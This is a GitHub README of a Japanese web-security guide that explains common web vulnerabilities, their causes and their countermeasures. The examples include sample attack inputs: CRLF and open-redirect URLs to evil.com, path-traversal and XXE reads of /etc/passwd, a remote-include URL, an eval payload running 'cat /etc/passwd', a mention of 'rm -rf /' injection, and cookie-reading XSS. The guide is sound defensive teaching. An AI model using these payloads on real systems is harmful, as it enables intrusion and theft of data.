Skip to content

🛡Webセキュリティのプラクティス集日々コンテンツ远加䞭...

Notifications You must be signed in to change notification settings

zakzackr/web-security-guide

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

67 Commits
 
 
 
 

Repository files navigation

Webセキュリティガむド

🛡Webセキュリティのプラクティス集

日々コンテンツの远加・曎新を行っおいたす。珟圚のコンテンツは目次を参照しおください。

内容に誀りや誀解を招く衚珟などありたしたら、Discussions経由でご指摘いただけたすず幞いです。修正させおいただきたす。簡単な質問や緩いコミュニケヌションも垞にWelcomeなので、Discussionsでコメントください

本レポゞトリの䜿い方

以䞋のような掻甚方法を想定しおいたす。

目次

Cookie

Cookie のセキュアな蚭定方法

Cookieをセキュアに䜿甚するため、適切にCookieの属性を蚭定するこずが必芁。

Cookie の䞍適切な利甚による脆匱性

抂芁

耇数のペヌゞで䜿甚したいデヌタを Cookie に保管するず、意図しない圢で脆匱性に぀ながるこずがある。

叀兞的なセッション管理サヌバヌサむドセッションを䜿甚するアプリケヌションにおいお、ナヌザヌ ID やナヌザヌの暩限情報を Cookie に保管するず、利甚者が Cookie の倀を曞き換えるこずで、暩限倖の操䜜ができるようになっおしたう。

原因

利甚者によるCookie倀の曞き換え。

察策

基本的には、Session ID のみを Cookie に保管し、ナヌザヌ ID や暩限情報は、サヌバ偎のメモリやデヌタベヌスで管理する。CookieをHttpOnlyにするこずでJavaScriptによるCookieの曞き換えを防ぐこずはできるが、ブラりザの怜蚌ツヌルから盎接Cookieの曞き換えができおしたうので、Session ID以倖はサヌバ偎で管理。

リダむレクトに関する脆匱性

1. オヌプンリダむレクト脆匱性

抂芁

具䜓䟋ずしお、ク゚リパラメヌタの next の倀をそのたたレスポンスヘッダにセットする実装が Web アプリに存圚する堎合を考える。

たず攻撃者が、以䞋のリンクをメヌルや SNS などで拡散する。example.comの利甚者がそのリンクを螏んでログむンするず、next パラメヌタで指定したパスにリダむレクトする。リダむレクト先の眠ペヌゞで個人情報を入力するず、個人情報が挏掩する。フィッシング

https://example.com/login?next=https://evil.com/phishing

原因

倖郚からリダむレクト先の URL を指定できる堎合に脆匱性が生たれる。

察策

  • リダむレクト先の URL を固定する
  • リダむレクト先の URL をそのたた指定せず、番号指定する
  • リダむレクト先の URL をチェックし、蚱可された URL にのみ遷移する

2. HTTP ヘッダ・むンゞェクションCRLF むンゞェクション

抂芁

具䜓䟋ずしお、ク゚リパラメヌタの next の倀をそのたたレスポンスヘッダにセットする実装が Web アプリに存圚する堎合を考える。

たず攻撃者が、以䞋のリンクをメヌルや SNS などで拡散する。

https://example.com/login?next=/dashboard%0d%0aLocation:https://evil.com

example.com の利甚者がそのリンクを螏んでログむンするず、dashboard に遷移するはずが、URL に改行%0d%0aが含たれるこずで、Location ヘッダが二重で生成され、最埌の Location ヘッダのみがレスポンスずしお返される。それにより、眠ペヌゞであるhttps://evil.comに遷移する。

Location: /dashboard
Location: https://evil.com

その他にも、攻撃者が%0d%0aSet-Cookie:+SESSIONID=123を URL に远加するこずで、Set-Cookie ヘッダをむンゞェクションし、レスポンスずしお返华するこずで、任意の Cookie が利甚者のブラりザに保存される。 それにより、セッション ID の固定化攻撃が可胜になる。

たた、以䞋のように URL に改行を぀远加するこずで、任意のコンテンツをレスポンスボディずしお返华し、ブラりザに衚瀺させるこずも可胜である。それらのコンテンツには、単なる文字列だけでなく、<html></html> や <script></script>も含たれるので、結果的に XSS 攻撃に぀ながる。

https://example.com/login?next=/dashboard%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

原因

HTTP ヘッダは、改行で各ヘッダが区切られ、行に 1 ぀のヘッダを持぀構造をしおいる。そのため、改行をそのたた出力するこずで、HTTP ヘッダ・むンゞェクション脆匱性が生たれる。

察策

倖郚から入力されたパラメヌタをレスポンスヘッダずしおそのたた出力せず、Web 開発甚の蚀語・フレヌムワヌクで提䟛されおいるヘッダ出力甚 API を䜿甚する。API が提䟛されおいない堎合は、開発者が改行文字を蚱可しない実装を行う。

参考

安党なりェブサむトの䜜り方 - 1.7 HTTP ヘッダ・むンゞェクション

メヌル送信機胜に関する脆匱性

メヌルヘッダ・むンゞェクション

抂芁

メヌル送信甚フォヌムを持぀ Web アプリで発生する脆匱性。

具䜓䟋ずしお、以䞋のような問い合わせフォヌムを持぀ Web アプリを考える。このフォヌムは、利甚者のメヌルアドレスず本文を受け取り、Web アプリの管理者に問い合わせのメヌルを送信する。

<form action="http://example.com" method="post">
    メヌルアドレス: <textarea name="from" rows="4"></textarea> 
    本文:<textarea name="body" rows="10"></textarea>
    <button type="submit">送信</button>
</form>

ナヌザヌがメヌルアドレス欄に以䞋のような入力をした堎合、

アプリケヌションが改行を適切に凊理しないたたヘッダずしお出力する堎合、以䞋のようなメヌルヘッダが䜜成される。結果ずしお、Bcc で第䞉者にメヌルを送信できおしたう。

今回の䟋は宛先の远加だけだが、本文の改ざんや添付ファむルりむルスファむルの送信も可胜なので、それらを組み合わせるこずで、問い合わせフォヌム経由で第䞉者に迷惑メヌルの送信が可胜ずなる。

原因

メヌルメッセヌゞの圢匏は HTTP ず䌌た圢匏を持っおいる。具䜓的には、各ヘッダが改行で区切られ、空行の埌にボディが続くずいう圢匏である。そのため、アプリケヌションが倖郚から入力された改行付きのパラメヌタをヘッダずしおそのたた䜿甚するこずで、脆匱性が生たれる。

察策

  1. メヌル送信専甚のラむブラリを䜿甚する
  2. 倖郚から入力されたパラメヌタをヘッダで䜿甚しない
  3. 倖郚から入力されたパラメヌタに改行が含たれないかチェックする
  4. 保険的察策ずしお、件名ずメヌルアドレスの入力倀怜蚌を行う

ファむルアクセスに関する脆匱性

ディレクトリ・トラバヌサル

抂芁

倖郚からのパラメヌタでファむル名を盎接指定できるアプリケヌションで、ファむル名のチェックが䞍十分の堎合、倖郚からのアクセスを想定しおいないサヌバ内のファむルの閲芧、改ざん、削陀が可胜ずなる。

以䞋のようにク゚リパラメヌタfileにファむル名を指定するこずで、/var/public/public.txtぞのアクセスを想定するケヌスで、

http://example.com/profile?file=public.txt

ディレクトリ名../やetc/を含むファむル名を指定するず、/etc/private.txtずいう倖郚ぞ公開しおはいけないファむルが露出しおしたう。

http://example.com/profile?file=../../etc/private.txt

原因

  • 倖郚からファむル名を指定できる
  • ファむル名でディレクトリ名を指定できる../など
  • 倖郚から枡されたファむル名をチェックしおいない

察策

  1. 倖郚からファむル名を指定できない仕様にするファむル名を固定にする etc...
  2. ファむル名にディレクトリ名が含たれないようにする
  3. ファむル名を英数字のみに限定するヌルバむトなどの制限文字を蚱可しない
  4. Webサヌバ内のファむルにアクセス暩限を蚭定する

OSコマンドに関する脆匱性

OSコマンド・むンゞェクション

抂芁

OSコマンド・むンゞェクション攻撃による被害は以䞋のように倚岐にわたり圱響も倧きいため、察策が必芁。

  • サヌバ内ファむルの閲芧、改ざん、削陀
  • 䞍正なシステム操䜜
  • 䞍正なプログラムのダりンロヌド
  • 別システムぞの攻撃の螏み台

OSコマンド・むンゞェクション脆匱性が存圚するアプリケヌションでは、ナヌザヌからの入力倀をチェックせずに、OSコマンドのパラメヌタずしおそのたた枡しおしたうず、意図しないコマンドが実行可胜になり、重倧な被害を生む可胜性がある。

䟋えば、ナヌザヌから送信元メヌルアドレスを受け取り、OSコマンド呌び出しによりメヌルを送信する機胜があるずする。通垞の入力䟋は [email protected]。しかし、悪意のあるナヌザヌが以䞋のように入力した堎合、

;はシェルにおけるコマンドの区切りずしお解釈されるため、最初のメヌル送信甚コマンドが終了した埌に、続けおrm -rf / が実行されおしたい、システム䞊の党おのファむルが削陀されるこずになる。

原因

  • シェル経由でOSコマンドを実行できる関数を利甚しおいる
  • その関数に倖郚からのパラメヌタを枡しおおり、そこに含たれるシェルのメタ文字; |などを゚スケヌプしおいない

察策

  • OSコマンドを盎接呌び出さず、ラむブラリが提䟛する関数を䜿甚
  • シェル経由でコマンド呌び出しできる関数を䜿甚せず、他の実装方法で代替。どうしおも䜿甚したい堎合は、倖郚から入力されたパラメヌタをコマンドの匕数で枡さない。匕数で枡す堎合は、シェルのメタ文字を゚スケヌプする

ファむルアップロヌドに関する脆匱性

DoS攻撃

抂芁

ファむルアップロヌド機胜を持぀Webアプリに察しお、倧容量のファむルを繰り返しアップロヌドするこずでサヌバのCPUやメモリに過床な負荷をかけ、サヌビスを遅延たたは停止させる攻撃をDoS攻撃Denial of Service Attackずいう。

原因

アップロヌドできるファむルの容量制限の蚭定がないこず。

察策

アプリケヌションたたはWebサヌバで、アップロヌド可胜なファむル容量を制限する蚭定を行う。

アップロヌドファむルがサヌバ䞊で実行される脆匱性

抂芁

ファむルアップロヌド機胜を持぀Webアプリに察しお、サヌバで実行可胜なスクリプトファむル䟋.php、.jspなどをアップロヌドできおしたう堎合、そのファむルがサヌバ䞊で実行され、以䞋のような被害が発生する可胜性がある。

  • サヌバ内ファむルの閲芧、改ざん、削陀
  • 䞍正なシステム操䜜
  • 別システムぞの攻撃の螏み台

原因

  • 利甚者によっおアップロヌドされたスクリプトファむルがWebサヌバの公開ディレクトリに保存され、利甚者がそれらを盎接呌び出せる堎合、サヌバ䞊でプログラムが実行される
  • アップロヌドされたファむルがスクリプトずしお実行可胜な拡匵子をも぀

察策

  • 利甚者によっおアップロヌドされたファむルを公開ディレクトリに配眮せず、利甚者が盎アクセスできないようにする。アプリケヌション経由で閲芧させる
  • アップロヌドされたファむルの拡匵子をチェックする

モダンなWebアプリでは、画像ファむルなどの静的コンテンツはオブゞェクトストレヌゞサヌビスやCDNから配信されるこずが䞀般的。その堎合の察策方法に぀いおは芁確認。

ファむルダりンロヌド時のクロスサむト・スクリプティング脆匱性

抂芁

ファむルダりンロヌド時に間違ったContent-Typeが指定されるず、XSSになる堎合がある。䟋えば、以䞋のPDFファむルをレスポンスずしお返华する際に、Content-Type: text/html や、間違ったContent-Typeが指定されおいるず、ブラりザがレスポンスを HTMLずしお解釈し、<script> が実行されおしたう可胜性がある。

<script>
    localStorage.getItem('access-token');
</script>

原因

  • 間違ったContent-Typeの指定

察策

アップロヌドファむルがサヌバ䞊で実行される脆匱性ぞの察策ず同様に、ファむルアップロヌド時に拡匵子のチェックを行った䞊で、以䞋を行う。  

  • 正しいContent-Typeの指定必須

  • レスポンスヘッダにX-Content-Type-Options: nosniffを远加必須

    → Content-Typeのみからコンテンツタむプを解釈するようになる

  • レスポンスヘッダにContent-Disposition: attachmentを远加必芁に応じお

    → 以䞋を指定するこずで、ダりンロヌドしたファむルをアプリケヌションで開くのではなく、ロヌカルに保存させる。

Content-Type: application/octet-stream必芁に応じお
Content-Disposition: attachment; filename="defaultfilename.pdf"

PDFによるコンテンツハむゞャック

抂芁

Adobeの゚コシステムは、PDFファむルに埋め蟌むこずができるFormCalcずいうスクリプト蚀語を提䟛しおいる。Adobe Acrobat Readerプラグむンを備えたブラりザで、FormCalcが埋め蟌たれたPDFを開くず、埋め蟌たれたスクリプトが実行される。 そのURL関数を悪甚するこずで、指定されたURLに䞍正なリク゚ストを送信し、Webサむトの正芏ナヌザヌを装っお秘密情報を取埗する攻撃手法が存圚する。

原因

  • Adobe Acrobat Readerの仕様

察策

PDFファむルのアップロヌド機胜が必芁かどうか怜蚎する。必芁な堎合は以䞋の察策を行う。

  • PDFファむルをブラりザで開かず、ダりンロヌドする。ダりンロヌドを匷制するために、以䞋のレスポンスヘッダを出力。
  • 眠サむトに蚭眮された<object>や<embed>芁玠経由でPDFファむルを開けないように、PDFファむルダりンロヌド時にPOSTリク゚ストのみを蚱可する
Content-Type: application/octet-stream必芁に応じお
Content-Disposition: attachment; filename="defaultfilename.pdf"

ファむルむンクルヌドに関する脆匱性

ファむルむンクルヌド攻撃

抂芁

PHPなどのスクリプト蚀語では、include等を䜿甚しお別ファむルから゜ヌスの䞀郚を読み蟌むこずができる。その際に、include察象のファむル名を倖郚から指定できる堎合、ファむルむンクルヌド脆匱性が生たれる。

ファむルむンクルヌド脆匱性には、倧きく2皮類ある。攻撃者が攻撃察象サヌバ内のファむルに䞍正アクセスするロヌカルファむルむンクルヌドLFI脆匱性ず、悪意のあるファむルを実行するリモヌトファむルむンクルヌドRFI脆匱性が存圚する。  

ロヌカルファむルむンクルヌド攻撃

ク゚リパラメヌタfileで指定されたファむル名をinclude察象のファむルずしお動的に蚭定し、そのファむルの内容をブラりザに衚瀺する実装が存圚する堎合を考える。

攻撃者がディレクトリ・トラバヌサル攻撃を応甚し、以䞋のURLを入力するこずで、Webサヌバ䞊の/etc/passwdの内容が衚瀺され、機密情報が挏掩する。

http://example.com/page.php?file=../../../../etc/passwd

リモヌトファむルむンクルヌド攻撃

リモヌトファむルむンクルヌドの堎合は、攻撃者が倖郚サヌバに甚意した悪意のあるスクリプトをク゚リパラメヌタfileに指定し、それがinclude察象のファむルずしお動的に蚭定される堎合、そのスクリプトがサヌバ䞊で実行されるこずで、サむトの改ざんや、䞍正な機胜の実行が可胜になる。

http://example.com/page.php?file=http://www.trap.com/malicious

原因

  • include察象のファむルを倖郚から指定できる
  • include察象のファむル名のチェックをしおいない

察策

基本的には、ディレクトリ・トラバヌサルの察策ず同じ。

  • 倖郚からファむル名を指定できない仕様にする
  • ファむル名にディレクトリ名が含たれないようにする
  • ファむル名を英数字のみに限定するヌルバむトなどの制限文字を蚱可しない

構造化デヌタの読み蟌みに関する脆匱性

evalむンゞェクション

抂芁

プログラミング蚀語の䞭には、文字列で䞎えられた匕数をコヌドずしお解釈・実行するeval関数およびそれに盞圓する機胜を提䟛しおいるものがある。その関数に、倖郚からのパラメヌタを盎接枡しおいる堎合、スクリプトを泚入できる脆匱性が存圚する。

䟋えば、攻撃者が入力フォヌムにsystem("cat /etc/passwd");を入力し、以䞋のURLにGETリク゚ストが送信されるケヌスを考える。

http://example.com/page.php?data=system("cat /etc/passwd");

このずき、サヌバ偎でク゚リパラメヌタdataの倀をデシリアラむズするために、eval関数にdataをそのたた枡す実装が存圚する堎合、system("cat /etc/passwd");がコヌドずしお解釈・実行される。

今回のケヌスは、cat /etc/passwdの実行により、サヌバ内の秘密情報が倖郚に挏掩する䟋だが、その他にもサむトの改ざんや、䞍正機胜の実行など、OSコマンド・むンゞェクション攻撃ず同様の被害が発生する。

原因

  • eval関数の䜿甚自䜓が危険

    → MDN Web Docs や PHPドキュメントでもeval()を䜿甚しないように蚀及されおいる

  • eval関数に䞎えるパラメヌタのチェックをしおいない

察策

  • eval盞圓の関数・機胜を䜿甚しない
  • eval関数の匕数に倖郚からのパラメヌタを枡さない。枡す堎合は、倖郚からのパラメヌタを英数字のみに制限する

安党ではないデシリアラむれヌション

抂芁

倖郚からの倀をそのたたデシリアラむズする凊理が存圚するアプリケヌションでは、デシリアラむズにより意図しないオブゞェクトが生成され、それらのメ゜ッドが実行されるこずで、情報挏掩を含むOSコマンド・むンゞェクションず同様の被害が発生する可胜性がある。

具䜓的には、攻撃者がシリアラむズされたオブゞェクトAをCookieやhiddenパラメヌタ経由で泚入し、それがデシリアラむズされるこずで、意図しない圢でオブゞェクトAがアプリケヌション内に生成される。それにより、クラスAに__destruct()などのマゞックメ゜ッドが存圚する堎合PHPのケヌス、それらが実行されるこずで被害が発生する。  

ただし、倖郚から泚入されたオブゞェクトに察応するクラスがアプリケヌション内に存圚する必芁がある。

原因

  • 倖郚からのデヌタをそのたたデシリアラむズする凊理が存圚する

察策

  • シリアラむズ圢匏ではなくJSONでデヌタを受け枡す
  • 利甚者が曞き換えできるCookieやinputパラメヌタではなく、セッション倉数を䜿甚しおシリアラむズ圢匏のデヌタを受け枡しする

参考

PHPで安党でないデシリアラむれヌションを孊がう

XML倖郚実䜓参照XXE

抂芁

XMLには、倖郚実䜓参照機胜ずいう倖郚ファむルを参照する機胜が存圚し、それを悪甚する攻撃をXML倖郚実䜓参照攻撃XXEず呌ぶ。XXEにより、情報挏掩や他システムぞの螏み台攻撃が発生する。   

具䜓的には、利甚者がフォヌム入力やファむルアップロヌド機胜を通しおXML圢匏のデヌタをサヌバ偎に送信できる堎合を考える。 以䞋のXML圢匏のデヌタがサヌバに送信され、サヌバ偎でXMLをHTMLに倉換し、Webペヌゞずしお衚瀺する実装が存圚する堎合、Webサヌバ内の非公開ファむル/etc/passwdが倖郚に挏掩する可胜性がある。

<!DOCTYPE foo [
  <!ENTITY email SYSTEM "/etc/passwd">
]>
<user>
  <email>&email;</email>
</user>

先の䟋では、Webサヌバ内郚のファむルの挏掩を扱ったが、SYSTEM "http://attacker.com" などのURLを指定するこずで倖郚リ゜ヌスを読み蟌むこずも可胜である。

原因

  • XMLの持぀機胜を悪甚した攻撃であり、アプリケヌションのバグではない

察策

  • XMLではなくJSONを䜿甚する
  • XMLを䜿甚する必芁がある堎合は、倖郚実䜓参照あるいはDTDを犁止する蚭定を行う

PHPのXMLパヌス凊理で䜿甚されるlibxml2ずいうラむブラリは、安党なWebアプリケヌションの䜜り方 第2版 p.369では、倖郚実䜓参照がデフォルトで無効になっおいるため、XXE脆匱性は存圚しないず蚘茉されおいる。しかし、「libxml2」にXXE脆匱性 - 利甚アプリに圱響で、libxml2のXXE脆匱性が蚀及されおいるため、アプリケヌション偎での察策が必芁ず思われる。  

Javaの堎合、倚くのXMLパヌサにおいお倖郚実䜓参照がデフォルトで有効なため、アプリケヌション偎でDTDを犁止するなどの察策が必芁になる。DTDを無効にする方法に぀いおは、XML 倖郚゚ンティティ むンゞェクションを参照。

共有資源やキャッシュに関する脆匱性

競合状態に関する脆匱性

抂芁

耇数のスレッドやプロセスが共有メモリ、ファむル、デヌタベヌスなどの共有資源に同時にアクセスする堎合、デヌタや凊理の敎合性を保蚌するため、排他制埡が必芁である。しかし、排他制埡が適切に実装されおいない堎合、他人の個人情報が衚瀺されたり、デヌタベヌスの䞍敎合の問題などが発生する。  

原因

  • 適切な排他制埡の実装が行われおいない

察策

  • 共有資源に察しお適切な排他制埡を実装する

キャッシュからの情報挏掩

抂芁

Webアプリケヌションの倚くは、レスポンスの高速化や負荷分散のためにリバヌスプロキシやCDNなどのキャッシュ機胜を䜿甚しおいる。しかし、キャッシュ蚭定に問題がある堎合、情報挏掩に぀ながるこずがある。

具䜓的には、アプリケヌションが、ナヌザヌ情報を含むマむペヌゞをCache-Control: public, max-age=180ヘッダずずもにレスポンスずしお返华するず、キャッシュサヌバはそのペヌゞをキャッシュする。その埌、他のナヌザヌがマむペヌゞ取埗甚のリク゚ストを送信するず、キャッシュサヌバから別のナヌザヌの個人情報を含むマむペヌゞが返华され、ブラりザに衚瀺されるこずで個人情報が挏掩する。

たた、キャッシュサヌバ偎でキャッシュ制埡甚のレスポンスヘッダを無芖する蚭定をしおいる堎合、アプリケヌション偎で適切なキャッシュ制埡を実装しおいおも、それが無芖されるこずで、意図しない圢で情報挏掩する堎合があるため、キャッシュサヌバ偎で適切なキャッシュ蚭定を行うこずも重芁である。

原因

以䞋により、キャッシュすべきではないコンテンツをキャッシュしたこず。

  • アプリケヌション偎のキャッシュ制埡䞍備
  • キャッシュサヌバ偎のキャッシュ蚭定ミス

察策

  • アプリケヌション偎で適切なキャッシュ制埡甚のレスポンスヘッダを蚭定する
  • キャッシュサヌバで適切なキャッシュ蚭定を行う

Web API実装に関する脆匱性

JSON゚スケヌプの䞍備

抂芁

JSONやクロスオリゞンリク゚ストで䜿甚されるJSONPを䜿甚する際に、eval関数を䜿甚したJSONのデコヌドや、JSON生成時の゚スケヌプ凊理に䞍備が存圚する堎合、䞍正なJavaScriptが実行される可胜性がある。

原因

  • JSON生成時に適切な゚スケヌプ凊理がされおいない
  • JSONのデコヌド時にeval関数、たたはそれに盞圓する機胜を䜿甚しおいる
  • JSONPを䜿甚しおいる

察策

  • JSONの゚ンコヌド・デコヌド時に脆匱性のないラむブラリを䜿甚する
  • JSONPを䜿甚しない。クロスオリゞンリク゚ストの堎合は、CORSを䜿甚する

JSON盎接閲芧によるXSS

抂芁

レスポンスボディでJSONを返华する際に、誀っおContent-Type: text/htmlを指定するず、ブラりザはレスポンスをHTMLずしお解釈する。その結果、ブラりザにJSON文字列が盎接衚瀺され、JSON内の任意のスクリプトが実行される可胜性がある。

以䞋のレスポンスボディ抜粋はその䞀䟋である。JSON文字列がHTMLずしおブラりザに衚瀺された結果、画像読み蟌みの倱敗により、onerror属性に蚭定されたalert(document.cookie)が実行される。

Content-Type: text/html; charset=utf-8
  
{"data" : "<img src=1 onerror=alert(document.cookie)>"}

原因

  • 䞍適切なMIMEタむプContent-Typeの䜿甚

察策

  • 適切なMIMEタむプを指定する
    → Content-Type: application/json
  • X-Content-Type-Options: nosniffを䜵甚する
    → ブラりザがContent-Type以倖の情報ファむルの拡匵子や䞭身からMIMEタむプを掚枬しないようにする
  • JSONでも<や>などのHTML特殊文字を゚スケヌプする

参考

About

🛡Webセキュリティのプラクティス集日々コンテンツ远加䞭...

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published